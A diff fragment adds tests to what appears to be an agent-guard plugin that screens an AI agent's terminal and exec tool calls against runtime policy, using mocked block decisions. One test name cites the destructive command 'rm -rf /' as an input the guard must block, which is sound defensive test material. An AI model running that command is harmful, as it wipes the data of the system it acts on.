+                throw new Error('runtime unavailable');
+            },
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'terminal',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.equal(result, undefined);
+    });
+    (0, node_test_1.it)('should block when runtime policy blocks an OpenClaw tool call', async () => {
+        ctx = (0, test_utils_js_1.createTestContext)();
+        const { api, handlers } = createMockApi();
+        (0, openclaw_plugin_js_1.registerOpenClawPlugin)(api, {
+            skipAutoScan: true,
+            registry: ctx.agentguard.registry,
+            protectAction: async () => ({
+                policySource: 'cloud-decision',
+                approvalId: null,
+                event: {},
+                decision: {
+                    actionId: 'act_test',
+                    decision: 'block',
+                    riskScore: 95,
+                    riskLevel: 'critical',
+                    policyVersion: 'cloud-test',
+                    reasons: [
+                        {
+                            code: 'CUSTOM_BLOCKED_COMMAND',
+                            severity: 'critical',
+                            title: 'Custom blocked command',
+                            description: 'Blocked by cloud policy.',
+                        },
+                    ],
+                },
+            }),
+        });
+        const result = await handlers['before_tool_call']({
+            toolName: 'exec',
+            params: { command: 'echo hello' },
+        });
+        strict_1.default.equal(result?.block, true);
+        strict_1.default.ok(result?.blockReason?.includes('runtime policy blocked'));
+        strict_1.default.ok(result?.blockReason?.includes('cloud-test'));
+    });
     (0, node_test_1.it)('should return { block: true } for rm -rf /', async () => {
         ctx = (0, test_utils_js_1.createTestContext)();
         const { api, handlers } = createMockApi();